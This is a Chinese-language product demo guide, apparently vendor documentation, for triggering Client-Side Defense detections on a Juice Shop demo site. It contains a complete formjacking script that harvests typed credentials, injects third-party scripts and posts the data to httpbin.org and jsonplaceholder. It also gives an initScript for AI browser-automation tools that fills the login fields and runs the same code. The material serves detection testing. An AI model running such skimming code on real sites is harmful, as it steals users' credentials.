觸發偵測
CSD 監控瀏覽器內部的 JavaScript 行為。與 WAF 或 Bot Defense 不同,您無法使用 curl 指令觸發 CSD 偵測——它需要真實的瀏覽器端腳本活動。以下合併腳本在單次執行中觸發所有三種 CSD 偵測訊號:表單欄位收割、從多個 CDN 網域注入第三方腳本,以及向外部端點進行資料外洩。
執行合併模擬腳本
Section titled “執行合併模擬腳本”-
前往 Juice Shop 的登入頁面,網址為
https://botdemo.sales-demo.f5demos.com/#/login -
在表單欄位中輸入虛假憑證——在 Email 欄位輸入
test@example.com,在 Password 欄位輸入P@ssword123(請勿提交表單) -
開啟開發人員工具(F12 → Console 分頁)


-
將以下腳本貼入主控台並按下 Enter——它會以自執行函式的方式自動執行
Combined Detection Script // CSD Demo — Combined Detection Script// Triggers ALL CSD detection signals: field reads, script injection, exfiltration(function() {console.log('='.repeat(50));console.log('[CSD Demo] Combined Detection Script — Starting');console.log('='.repeat(50));// Phase 1: Harvest all form fields (CSD tracks field reads on page-load DOM fields)console.log('\n[Formjack] Phase 1: Form field harvesting');var inputs = document.querySelectorAll('input');var harvested = {};inputs.forEach(function(input) {var name = input.name || input.id || input.type;harvested[name] = input.value || '(empty)';});console.log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);// Phase 2: Inject third-party scripts from 4 CDN domainsconsole.log('\n[Supply Chain] Phase 2: Multi-CDN script injection');var cdns = [{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }];cdns.forEach(function(cdn) {var script = document.createElement('script');script.src = cdn.url;script.onload = function() {console.log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);};script.onerror = function() {console.log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url);};document.head.appendChild(script);console.log('[Supply Chain] Injected script tag: ' + cdn.name);});// Phase 3: Exfiltrate harvested data to external endpointsconsole.log('\n[Exfil] Phase 3: Data exfiltration');var payload = JSON.stringify({type: 'combined_demo',credentials: harvested,page: window.location.href,timestamp: Date.now()});fetch('https://www.httpbin.org/post', {method: 'POST',mode: 'no-cors',body: payload}).then(function() {console.log('[Exfil] Data sent to www.httpbin.org');});fetch('https://jsonplaceholder.typicode.com/posts', {method: 'POST',mode: 'no-cors',headers: { 'Content-Type': 'application/json' },body: payload}).then(function() {console.log('[Exfil] Data sent to jsonplaceholder.typicode.com');});// Summaryconsole.log('\n' + '='.repeat(50));console.log('[CSD Demo] Simulation complete');console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (4 CDN domains)');console.log('[CSD Demo] Exfil channels: 2 (fetch POST)');console.log('[CSD Demo] Detection takes 5-10 minutes to appear in the CSD console.');console.log('='.repeat(50));})(); -
觀察分階段的
[CSD Demo]主控台輸出,確認每個步驟均已完成:欄位收割、從 4 個 CDN 網域注入腳本,以及資料外洩。esm.sh提供 ES 模組語法(export default …)——當以傳統<script>標籤載入時,會產生Uncaught SyntaxError: Cannot use import statement outside a module。這是預期行為,不影響 CSD 偵測(腳本標籤仍會被注入,且網路請求仍會發出)

AI 自動化執行
Section titled “AI 自動化執行”配備瀏覽器自動化工具的 AI 助理(MCP Chrome DevTools、Playwright、Puppeteer)可以透過程式化方式執行模擬,而無需依照上述手動步驟操作:
- 使用 initScript 進行導航 — 首先導航至
about:blank以確保文件環境乾淨,然後使用navigate_page前往登入頁面網址(例如http://$F5XC_DOMAINNAME/#/login),並附帶一個initScript,該腳本會在 zone.js 修補之前儲存原生的setInterval、clearInterval、fetch和console.log,輪詢登入表單欄位,透過原生HTMLInputElement.prototype.valuesetter 填入憑證,並立即在內嵌方式執行合併偵測腳本。請使用下方的逐字 initScript。 - 關閉歡迎橫幅 — 使用
Escape鍵執行press_key以關閉歡迎橫幅。後續訪問時橫幅可能不會出現(Cookie 已持久化) - 等待完成 — 等待 10 秒,讓所有 CDN 腳本載入/錯誤回呼及 fetch Promise 解析完成
- 擷取證據 — 使用
list_console_messages確認是否出現[CSD Demo] Simulation complete;使用list_network_requests篩選script和fetch類型,以驗證 HTTP 狀態碼
initScript 框架(逐字內容——為自動化執行包裝合併偵測腳本):
// Save native references before zone.js patches themvar _si = window.setInterval.bind(window);var _ci = window.clearInterval.bind(window);var _fetch = window.fetch.bind(window);var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection scriptvar _poll = _si(function() { var emailEl = document.querySelector('input[type="email"]'); var passEl = document.querySelector('input[type="password"]'); if (emailEl && passEl) { _ci(_poll); // Fill credentials via native setter (bypasses zone.js) var nativeSet = Object.getOwnPropertyDescriptor( window.HTMLInputElement.prototype, 'value').set; nativeSet.call(emailEl, 'test@example.com'); emailEl.dispatchEvent(new Event('input', { bubbles: true })); nativeSet.call(passEl, 'P@ssword123'); passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil (function() { _log('=================================================='); _log('[CSD Demo] Combined Detection Script — Starting'); _log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); }; document.head.appendChild(script); _log('[Supply Chain] Injected script tag: ' + cdn.name); });
_log('\n[Exfil] Phase 3: Data exfiltration'); var payload = JSON.stringify({ type: 'combined_demo', credentials: harvested, page: window.location.href, timestamp: Date.now() }); _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }) .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); }); _fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n=================================================='); _log('[CSD Demo] Simulation complete'); _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)'); _log('[CSD Demo] Exfil channels: 2 (fetch POST)'); _log('=================================================='); })(); }}, 300);關於原生 fetch 的說明: 此框架儲存 window.fetch.bind(window) 以避免 zone.js 錯誤。這是所有攻擊模擬階段的正確行為。CSD 緩解措施封鎖腳本載入(透過清除 <script> 標籤的 src 值),而非封鎖 fetch() 呼叫,因此儲存原生 fetch 參考不會影響緩解行為。第二階段和第三階段均使用相同的 initScript。
不具備瀏覽器自動化工具的操作人員請使用上述手動步驟。
腳本的功能說明
Section titled “腳本的功能說明”合併模擬腳本觸發所有三種 CSD 偵測訊號:
| 行為 | 腳本的操作 | CSD 偵測到的內容 |
|---|---|---|
| 欄位收割 | 讀取現有 input 元素的值(電子郵件、密碼) | 腳本讀取敏感表單欄位——標記為高風險 |
| 腳本注入 | 附加 4 個 <script> 標籤,從 cdn.jsdelivr.net、esm.sh、unpkg.com 和 ga.jspm.io 載入 | 頁面上出現 4 個新的第三方腳本網域 |
| 資料外洩 | 透過 fetch 將收割的資料傳送至 www.httpbin.org 和 jsonplaceholder.typicode.com | 對外部網域發出網路呼叫(注意:fetch 目的地以腳本網路互動方式顯示,而非出現在網路網域檢視中) |
上述合併腳本是適用於大多數示範的簡化三階段版本(收割、注入、外洩)。攻擊腳本庫提供 10 個依攻擊類型分類的針對性腳本,包括一個最大偵測壓力測試,在合併腳本涵蓋範圍的基礎上,額外加入 DOM 操作、Cookie 外洩及圖片信標通道。請使用個別腳本來單獨示範特定攻擊類別(表單劫持、數位側錄、供應鏈注入、資料外洩、DOM 操作)。